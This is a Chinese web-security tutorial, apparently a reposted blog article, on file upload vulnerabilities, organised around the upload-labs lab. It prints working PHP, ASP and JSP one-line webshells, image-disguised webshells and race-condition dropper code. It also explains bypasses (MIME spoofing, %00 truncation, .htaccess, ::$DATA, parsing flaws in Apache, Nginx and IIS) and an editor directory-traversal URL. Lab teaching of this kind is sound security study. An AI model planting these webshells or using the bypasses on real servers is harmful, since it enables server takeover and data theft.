[Web安全 网络安全]-文件上传漏洞

文章目录:

一:前言

1.什么是文件上传漏洞

2.环境

2.1 靶场 

2.2 其他工具

3.木马分类

二:文件上传分类

1.客户端

JS绕过

2.服务端-黑名单

大小写绕过

点和空格绕过

.htaccess文件绕过

php345文件绕过

windows ::$DATA绕过

3.服务端-白名单

MIME验证绕过

%00截断

4.服务端-检查内容

文件头检查内容验证

二次渲染

5.服务端-其他

条件竞争

三:漏洞解析

1.Apache解析漏洞 

2.Nginx解析漏洞

3.iis6.0解析漏洞

4.iis7.0解析漏洞 

四:编辑器漏洞


一:前言

1.什么是文件上传漏洞

定义:文件上传漏洞是指攻击者利用网站或应用程序中的文件上传功能,上传恶意文件(如木马、病毒、恶意脚本、WebShell等)到服务器上,并利用服务器的解析漏洞执行这些恶意文件,从而获取对服务器的控制权限或进行其他恶意操作危害服务器被完全控制:攻击者可以上传并执行任意代码,从而完全控制服务器数据泄露:攻击者可以访问并下载服务器上的敏感数据,如用户个人信息、公司机密等系统资源耗尽:恶意文件可能包含消耗大量服务器资源的脚本,导致服务拒绝(DoS)攻击,影响系统的可用性和稳定性恶意软件分发:服务器可能被用来分发恶意软件,进一步危害互联网安全高危触发点相册、头像上传视频、照片上传附件上传(论坛发帖、邮箱)    文件管理器攻击方式上传恶意脚本:如PHP、ASP、JSP等Web脚本语言文件,这些文件被服务器解释执行后,攻击者可以获取对服务器的控制权限上传病毒或木马:这些文件被上传后,可能会被诱骗用户或管理员下载执行,或者自动运行以危害系统安全上传钓鱼图片或包含脚本的图片:在某些版本的浏览器中,这些图片可能会被作为脚本执行,用于钓鱼和欺诈利用目录遍历攻击:通过上传一个指针文件,使程序跳转到攻击者的网站或目录,从而进行更进一步的攻击防御措施严格的文件类型验证:确保只允许上传预定义的安全文件类型,并对文件的扩展名进行严格检查文件内容验证:使用病毒扫描和恶意代码检测工具对上传的文件进行安全检测文件重命名:对上传的文件进行重命名,避免直接使用用户上传时的文件名,增加攻击者破解文件路径的难度访问控制:确保只有授权的用户才能访问和下载上传的文件禁止脚本文件执行:将文件上传目录设置为禁止脚本文件执行,防止攻击者上传并执行恶意脚本设置文件大小限制:在服务器端限制上传文件的大小,防止通过上传大文件耗尽服务器资源安全配置和更新:正确配置服务器和应用程序,禁止执行无关的文件类型,并及时更新服务器和应用程序的版本以修复已知的漏洞什么是WebShell以asp、aspx、php、jsp 或者 cgi 等网页文件形式存在的一种代码执行环境主要用于网站管理、服务器管理、权限管理等操作使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,对网站和服务器的管理如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的webshell管理工具中国菜刀(caidao) (比较落后,有后门)c刀(cknife)Weevely3 (kali中自带)中国蚁剑(AntSword)冰蝎(Behinder)后门一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的门    每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下一个后门

2.环境

2.1 靶场 

upload-labs靶场 :专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场

第一关:前端JS验证绕过
第二关:MIME绕过
第三关:php345绕过
第四关:.htaccess绕过
第五关:大小写绕过
第六关:空格绕过
第七关:点绕过
第八关:::$DATA绕过
第九关:点空格点拼接绕过
第十关:双文件绕过            phphpp-hpp    pphphp-php
第十一关:双写后缀绕过
第十二关:GET  0X00截断
第十三关:POST 0X00截断
第十四关:getimagesize图片马
第十五关:exif_imagetype图片马
第十六关:二次渲染绕过
第十七关:条件竞争原理绕过
第十八关:apache漏洞+条件竞争
第十九关:POST 0X00截断
第二十关:审计+数组后缀绕过

 Upload-labs各关卡通关手册:分享1、分享2、分享3、分享4、分享5、分享6、分享7、分享8、分享9、分享10

2.2 其他工具

phpSdudy 

cracer安全工具包

MantraPortable(owasp的火狐):可以在里面修改网页内容 

BurpSuite 安装+激活+使用详细上手教程 web安全测试工具

WinHex安装与使用:检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等

010 editor进制编辑器

中国菜刀下载安装教程:在虚拟终端输入ipconfig,尝试抓取数据包

3.木马分类

文件大小分类一句话木马:通常只有一行代码
<? php eval($_POST[pass]?)>
GIF89a
<? php eval($_POST[pass]?)>

这里解释一下为什么要加 GIF89a

因为有些 Waf 会检测文件内容,而 GIF89a 就是图片内容的头 

小马:只包含文件上传功能
<?php fputs(fopen("up.php","w"),  '<?php eval($_POST["cmd"])?>');  ?>                       

大马:包含很多功能

           代码通常会进行加密隐藏

<?php fputs(fopen(base64_decode(dXAucGhw),w),base64_decode(base64_decode(PHP代码编码)));  ?>

脚本类型分类jsp
<%Runtime.getRuntime().exec(request.getParameter(“i”)));%>
asp
<%eval request(“pass”)%>
aspx
<%@ Page Language=“Jscript”%><%eval(Request.Item[“pass”])%>
php
<?php eval($_GET[pass]);?> 
<?php eval($_POST[pass]);?>

一句话木马的了解

我们要用恶意代码上传到服务器的网站中执行权限:远程服务器上被插入一句话的可执行文件<? php eval($_POST[fox]?)>其中fox可以自己修改种类;asp、php、aspx好处:短小精悍、功能强大、隐蔽性好

图片一句话木马的制作 

cmd制作命令:copy fox.jpg/b+fox.php/a fox1.jpgb:代表二进制a:代表ASCII 编码第一步:图片——>右键新建快捷方式——>键入对象的位置cmd第二步:输入命令copy fox.jpg/b+fox.php/a fox1.jpg第三步:打开方式notepad,就可以看到图片里面,有写入的代码uedit制作:直接把一句话木马丢进去编码,另存为就可以了

二:文件上传分类

客户端JS绕过文件上传
服务端检查后缀

黑名单

上传特殊可解析后缀
上传.htaccess
后缀大小写绕过
点绕过
空格绕过
::$DATA绕过
配合解析漏洞
双后缀名绕过
白名单MIME验证绕过
%00截断
0x00截断
0x0a截断
检查内容文件头检查内容验证
突破getimagesize()函数用于获取图形尺寸
突破exif_imagettype()函数用来获取图片类型
二次渲染
其他条件竞争

1.客户端

JS绕过

JS验证:用于客户端本地的验证,所有会很快判断你上传的文件类型是否正确第一种JS判断代码:onsubmit="return checkFile()"绕过方法:删除JS判断代码第二种尝试在允许上传格式的文件里面添加.php格式绕过方法:a=".jpg|.jpeg|.png|.jpg|.bmp|.php|";第三种1.拷贝源代码,在本地分析2.尝试删除js代码3.指定在action=""中指定上传地址绕过方法:本地修改,添加上传地址第四种上传允许上传的文件用burp进行抓包改包:抓包修改

2.服务端-黑名单

文件扩展名限制是通过客户端黑名单来限制上传文件的类型  

大小写绕过

大小写绕过文件上传:大小写是把文件拓展名进行Php进行测试绕过(Php phP)这里需要注意一下,Windows和linux下的两个文件名不一样的Windows下文件不区分大小写的linux  下文件是区分大小写的绕过方法:修改后缀大小写

点和空格绕过

点和空格绕过文件上传:是在文件后缀加上点和空格进行绕过文件下,在后缀加上空格和点重新命名之后是自动删除所谓的空格和点可以尝试欺骗服务器验证,但是系统下是不支持加空格加点的.php空格     这里他会自动解析为.php.php.        这里同理解析为.php.php.空格.   路径拼接尝试绕过绕过方法:这里需要利用burp抓包——>修改后缀为(.php空格   .php)就可以验证了

.htaccess文件绕过

.htaccess文件绕过上传:提供了针对每个目录改变配置的方法在一个特点的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录.htaccess文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置他的功能有,网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等.htaccess文件代码<FilesMatch "fox">SetHander application/x-httpd-php</FilesMatch>绕过方法:新建文件——>复制代码——>修改后缀名

php345文件绕过

php345文件绕过上传:代表php版本3 4 5绕过方法:新建文件——>写入代码——>修改文件后缀名filename.php5<? php eval($_POST[fox]?)>

windows ::$DATA绕过

windows ::$DATA绕过上传:之内用于windowsNTFS文件系统的存储数据流的一个属性 DATA 时就是请求 a.php 本身的数据,如果a.php 还包含了其他的数据流,比如 a.php:lake2.php,请求 a.asp:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容简单来说就是在数据后加::$DATA绕过fox.php::$DATA    返回的结果    fox.php绕过方法:这里需要利用burp抓包——>修改后缀为(filename.php::$DATA)就可以验证了
apache解析漏洞上传Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php

3.服务端-白名单

MIME验证绕过

MIME 类型 | 菜鸟教程

MIME:多用途互联网扩展类型是设定某种扩展名的文件用一种应用程序来打开的方式类型当改扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开其实就是:服务器判断你上传的什么文件用于指定一些客户端 自定义的文件名;以及一些媒体文件打开方式绕过方法:修改媒体类型Content-Type:application-stream、抓包修改后缀jpg:image/jpeg    php:application/x-httpd-php    Windows 系统可执行文件格式:application/octet-stream

%00截断

0x00是十六进制表示方法,是ascll码为0的字符
在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上关于00截断get是可以自动转换的,post需要对%00进行特殊转换绕过方法:get:这里需要利用burp抓包——>修改后缀为(filename.php%001.jpg)就可以验证了post:这里需要利用burp抓包——>修改后缀为(filename.php%001.jpg)就可以验证了需要对%00进行特殊转换(convet selection——>url——>url-decode)

4.服务端-检查内容

文件头检查内容验证

判断文件头数据filename.gifGIF89a<? php eval($_POST[fox]?)>

二次渲染

定义:当我们上传一张 .jpg/.png/.gif 后缀的图片时,网页上显示的并不是我们原先上传的图片而是经过后台加工过的图片,这张图片会修改原图的某些部分当然我们的肉眼是看不出来的,通过修改原图,将原图中插有的恶意代码进行覆盖二次渲染将图片马里面的php代码删了接下来把原图和修改后的图片进行比较,看哪里没有被渲染,在这里插入php代码图片二次渲染 用于:防止图片马上传含有恶意代码的文件绕过办法:找出原图不会被二次渲染的区域,这就要比较原图和选然后的图片比较未被渲染的区域,需要用到工具 010editor在未被渲染的区域插入php代码,制作成了一张不会受到二次渲染影响的图片马<?php $_GET[0]($_POST[1]);?>

5.服务端-其他

条件竞争

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

分析以上代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名。不在则对其进行删除 

分析1.这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了假设这一题 没有文件包含漏洞的话,那我们只要上传php木马就会被删除,那还怎么搞2.要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,就会成功如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过3.我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell(不停的上传),会有一瞬间的访问成功定义:结合代码审计,将文件上传至服务器后,不会被立即删除,而是做短暂的停留中间会有一小部分时间差,这部分时间差是代码进行执行语句(if判断的)时间这部分时间足够执行一句代码,我们利用这段时间差和一段代码就可以达到上传含有恶意代码的非法文件的目的上传的文件从临时目录移动到 upload_file(服务器的目录),任意类型的文件先上传到服务器上,在决定删除不删除绕过方法:把这个php文件通过burp一直不停的重放,然后我们在开一个burp一直访问我们的这个php文件,总会有那么一瞬间是还没来得及删除就可以被访问到的一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件,这样生成的文件是不会被我们的程序删除掉的a.php<?php  $str='<?php @eval($_POST[cmd]);?>'  file_put_contents("b.php",$str); ?>其他语句参考<?php fputs(fopen('shell.php','w'),' <?php phpinfo() ?>')?>其他语句参考<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>  在a.php 在后台短暂停留的时间内,只要访问它并执行代码,它就会在 upload中创建b.php文件,达到上传非法文件的目的b.php里面的内容会生成<?php @eval($_POST[cmd]);

三:漏洞解析

1.Apache解析漏洞 

Apache解析漏洞Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断比如1.php.xxx对apache来说xxx是不可解析的,所以就会解析成1.php如aa.php.owf.rar文件,Apache不可识别解析rar和owf,便会解析成php文件

2.Nginx解析漏洞

Nginx解析漏洞Nginx的解析漏洞通常与文件扩展名的处理和URL路径的解析有关一个典型的例子是Nginx在处理特定URL时,可能会错误地将请求映射到不期望的文件上环境配置:Nginx作为Web服务器服务器配置允许上传文件,并存储在某个可访问的目录中Nginx的某些配置可能允许通过修改URL来绕过文件类型检查漏洞利用:攻击者在网站上传一个看似无害的图片文件(如malicious.jpg),但该文件实际上包含恶意代码(例如,通过修改文件头或使用特殊的编码技术)攻击者通过构造特定的URL(如http://example.com/uploads/malicious.jpg%00.php),尝试访问该文件Nginx可能会错误地将请求映射到malicious.jpg文件,但由于URL中的%00(空字符)截断,服务器可能会忽略.jpg扩展名,并尝试将请求作为PHP文件处理

3.iis6.0解析漏洞

iis6.0解析漏洞1、目录解析:以*.asp命名的文件夹里的文件都将会被当成ASP文件执行形式:www.xxx.com/xx.asp/xx.jpg比如1.asp/1.jpg,这里1.jpg会被当做asp文件执行2、文件解析:*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行形式:www.xxx.com/xx.asp;.jpg比如1.asp;1.jpg命名的文件,同样是以asp脚本进行执行

4.iis7.0解析漏洞 

IIS7.0解析漏洞在IIS7.0中,一个常见的解析漏洞与文件扩展名的处理有关,尤其是在FastCGI模式下当php.ini配置文件中的cgi.fix_pathinfo选项被设置为1时,可能会出现文件解析漏洞这个漏洞允许攻击者通过特定的URL构造,使服务器错误地将非PHP文件当作PHP文件来执行环境配置:IIS7.0安装在Windows Server上PHP作为后端脚本语言,通过FastCGI与IIS集成php.ini中的cgi.fix_pathinfo选项被设置为1漏洞利用:攻击者在网站上传一个包含PHP代码的图片文件(如shell.jpg),该文件实际上是一个PHP木马攻击者通过构造URL(如http://example.com/uploads/shell.jpg/.php),尝试访问该文件由于cgi.fix_pathinfo被设置为1,IIS会将请求中的.php部分视为对PHP文件的请求,并尝试执行shell.jpg文件内的PHP代码影响:攻击者可以执行任意PHP代码,从而控制服务器或访问敏感数据

四:编辑器漏洞

分类不需要后台验证:可以直接在前台访问且操作需要后台验证:才可以操作编辑器常用的编辑器有FCKeditorEWEbeditorCKFinderUEDITORDotNetTextBoxCute Editor编辑器漏洞利用(1)找到编辑器:我们可以看编辑器路径的文件名来判断是什么编辑器(2)确认版本(3)去搜索该版本编辑器的漏洞利用

FCK编辑器漏洞利用

FCKeditor常见上传目录:FCKeditor/editor/filemanager/browser/default/connectors/test.htmlFCKeditor/editor/filemanager/upload/test.htmlFCKeditor/editor/filemanager/connectors/test.htmlFCKeditor/editor/filemanager/connectors/uploadtest.htmlfck“”变“”绕过方法在高版本fck中,直接上传或抓包修改文件名为a.asp;jpg,都会将前面的点变成下划线也就是变成这样:a_asp,jpg,这样我们的文件名解析就无效果了绕过方法:突破建立文件夹(实质就是利用我们iis6的目录解析)

EWEbeditor编辑器漏洞

(1)进后台:eweb编辑器默认数据库地址是:ewebeditor/db/ewebeditor.mdb(2)eweb遍历漏洞:ewebeditor/admin uploadfile.asp?id=14&dir=../(3)修改样式表上传文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/427613.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Git原理与使用】版本管理与分支管理(1)

目录 一、基本操作 1、初识Git 2、Git安装[Linux-centos] 3、Git安装[ Linnx-ubuntu] 4、创建git本地仓库 5、配置Git 6、认识工作区、暂存区、版本库 7、添加文件 8、查看历史提交记录 9、查看.git文件目录结构 10、查看版本库对象的内容 11、小结&#xff08;在本地的.git仓库…

JVM常用参数配置

JVM常用参数配置 简单的java命令后面跟上配置参数。 -XX&#xff0c;JVM启动参数的一种类型&#xff0c;属于高级。 &#xff0c;开启的意思 &#xff1a;&#xff0c;设置具体参数 #jvm启动参数不换行 #设置堆内存 -Xmx4g -Xms4g #指定GC算法 -XX:UseG1GC -XX:MaxGCPauseM…

Qt_多元素控件

目录 1、认识多元素控件 2、QListWidget 2.1 使用QListWidget 3、QTableWidget 3.1 使用QListWidget 4、QTreeWidget 4.1 使用QTreeWidget 5、QGroupBox 5.1 使用QGroupBox 6、QTabWidget 6.1 使用QTabWidget 结语 前言&#xff1a; 在Qt中&#xff0c;控件之间…

《深度学习》—— 神经网络模型对手写数字的识别

神经网络模型对手写数字的识别 import torch from torch import nn # 导入神经网络模块 from torch.utils.data import DataLoader # 数据包管理工具&#xff0c;打包数据, from torchvision import datasets # 封装了很多与图像相关的模型&#xff0c;数据集 from torchvi…

分布式事务seata

文章目录 CAP理论BASE 理论seata解决分布式事务seata重要对象XA模式AT模式TCC模式saga模式 CAP理论 CAP理论指出在分布式系统中三个属性不可能同时满足。 Consistency 一致性&#xff1a;在分布式的多个节点&#xff08;副本&#xff09;的数据必须是一样的&#xff08;强一致…

展锐平台的手机camera 系统开发过程

展锐公司有自己的isp 图像处理引擎&#xff0c;从2012 年底就开始在智能手机上部署应用。最初的时候就几个人做一款isp的从hal 到kernel 驱动的完整软件系统&#xff0c;分工不是很明确&#xff0c;基本是谁擅长哪些就搞哪些&#xff0c;除了架构和编码实现之外&#xff0c;另外…

软硬件项目运维方案(Doc原件完整版套用)

1 系统的服务内容 1.1 服务目标 1.2 信息资产统计服务 1.3 网络、安全系统运维服务 1.4 主机、存储系统运维服务 1.5 数据库系统运维服务 1.6 中间件运维服务 2 运维服务流程 3 服务管理制度规范 3.1 服务时间 3.2 行为规范 3.3 现场服务支持规范 3.4 问题记录规范…

【数据结构】排序算法---基数排序

文章目录 1. 定义2. 算法步骤2.1 MSD基数排序2.2 LSD基数排序 3. LSD 基数排序动图演示4. 性质5. 算法分析6. 代码实现C语言PythonJavaCGo 结语 ⚠本节要介绍的不是计数排序 1. 定义 基数排序&#xff08;英语&#xff1a;Radix sort&#xff09;是一种非比较型的排序算法&…

秋招常问的面试题:Cookie和Session的区别

《网安面试指南》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484339&idx1&sn356300f169de74e7a778b04bfbbbd0ab&chksmc0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene21#wechat_redirect 《Java代码审…

LeetCode[中等] 3. 无重复字符的最长子串

给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长子串 的长度。 思路&#xff1a;滑动窗口&#xff0c;设置左右指针left与right&#xff0c;maxLength存储长度 利用HashSet性质&#xff0c;存储滑动窗口中的字符 如果没有重复的&#xff0c;那么right继续向…

LeetCode_sql_day28(1767.寻找没有被执行的任务对)

描述&#xff1a;1767.寻找没有被执行的任务对 表&#xff1a;Tasks ------------------------- | Column Name | Type | ------------------------- | task_id | int | | subtasks_count | int | ------------------------- task_id 具有唯一值的列。 ta…

无人机企业合法运营必备运营合格证详解

无人机企业运营合格证&#xff0c;是由国家相关航空管理部门&#xff08;如中国民用航空局或其授权机构&#xff09;颁发的&#xff0c;用于确认无人机企业具备合法、安全、高效运营无人机能力的资质证书。该证书是无人机企业开展商业运营活动的必要条件&#xff0c;标志着企业…

原生+jquery写自动消失的提示框

<!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <title>自动消失消息提示</title> <style>/…

信息安全数学基础(9)素数的算数基本定理

前言 在信息安全数学基础中&#xff0c;素数的算数基本定理&#xff08;也称为唯一分解定理或算术基本定理&#xff09;是一个极其重要的定理&#xff0c;它描述了正整数如何唯一地分解为素数的乘积。这个定理不仅是数论的基础&#xff0c;也是许多密码学算法&#xff08;如RSA…

同为TVT设备主动注册协议接入SVMSPro平台

同为设备主动注册协议接入SVMSPro平台 步骤一&#xff1a;进设备网页或者NVR配置界面&#xff0c;进功能面板&#xff0c;网络&#xff0c;平台接入 接入类型&#xff1a;平台软件&#xff0c;勾选启用主动上报 服务器地址&#xff1a;平台服务IP 端口&#xff1a;12009 ID&…

高级算法设计与分析 学习笔记6 B树

B树定义 一个块里面存了1000个数和1001个指针&#xff0c;指针指向的那个块里面的数据大小介于指针旁边的两个数之间 标准定义&#xff1a; B树上的操作 查找B树 创建B树 分割节点 都是选择正中间的那个&#xff0c;以免一直分裂。 插入数字 在插入的路上就会检查节点需不需要…

RabbitMQ 高级特性——持久化

文章目录 前言持久化交换机持久化队列持久化消息持久化 前言 前面我们学习了 RabbitMQ 的高级特性——消息确认&#xff0c;消息确认可以保证消息传输过程的稳定性&#xff0c;但是在保证了消息传输过程的稳定性之后&#xff0c;还存在着其他的问题&#xff0c;我们都知道消息…

Delphi5利用DLL实现窗体的重用

文章目录 效果图参考利用DLL实现窗体的重用步骤1 设计出理想窗体步骤2 编写一个用户输出的函数或过程&#xff0c;在其中对窗体进行创建使它实例化步骤3 对工程文件进行相应的修改以适应DLL格式的需要步骤4 编译工程文件生成DLL文件步骤5 在需要该窗体的其他应用程序中重用该窗…

不会JS逆向也能高效结合Scrapy与Selenium实现爬虫抓取

1. 创建基础的scrapy项目 1.1 基础项目 在pycharm中安装scrapy框架 pip install scrapy 创建项目 scrapy startproject 项目名称 我们现在可以看到整体文件的目录&#xff1a; firstBlood ├── firstBlood # 项目跟目录 │ ├── init.py │ ├── items.py # 封装数…

【网络】高级IO——select版本TCP服务器

目录 前言 一&#xff0c;select函数 1.1.参数一&#xff1a;nfds 1.2.参数二&#xff1a; readfds, writefds, exceptfds 1.2.1.fd_set类型和相关操作宏 1.2.2.readfds, writefds, exceptfds 1.2.3.怎么理解 readfds, writefds, exceptfds是输入输出型参数 1.3.参数三…